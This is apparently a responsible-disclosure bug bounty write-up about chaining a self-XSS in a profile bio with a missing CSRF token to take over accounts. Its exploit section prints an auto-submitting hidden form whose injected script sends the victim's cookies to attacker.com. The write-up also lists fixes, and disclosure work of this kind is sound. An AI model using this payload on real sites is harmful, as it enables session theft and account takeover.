Initializing...

cd ..
XSS + CSRF Public Program 2023-11-20

Self-XSS to Account Takeover via CSrf

Severity: Critical | Status: Resolved

Summary

I found a Self-XSS vulnerability in the profile description field that was sanitized only on the client-side. By chaining this with a CSRF vulnerability on the profile update endpoint, I was able to force other users to update their profile with my XSS payload.

Chain of Attack

  1. Self-XSS: The application allowed injecting <script> tags in the bio, but it only executed for the user viewing their own profile (Self-XSS).
  2. CSRF: The profile update endpoint POST /api/profile lacked CSRF protection tokens.
  3. The Chain: I created a malicious page that submits a hidden form to target.com/api/profile with the XSS payload in the bio field.

Exploit

<!-- CSRF Exploit Page -->
<form action="https://target.com/api/profile" method="POST">
  <input type="hidden" name="bio" value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>">
  <input type="submit" value="Click me for free premium!">
</form>
<script>document.forms[0].submit()</script>

Impact

When a victim visited my malicious site, their profile bio was updated with the XSS payload. The next time they viewed their own profile (or anyone viewed it if it was public), the XSS executed, sending their session cookies to my server.

Fix

  1. Implement anti-CSRF tokens on all state-changing endpoints.
  2. Properly sanitize input on the server-side, not just client-side.

Responsible Disclosure

This vulnerability was reported responsibly and fixed by the vendor before public disclosure.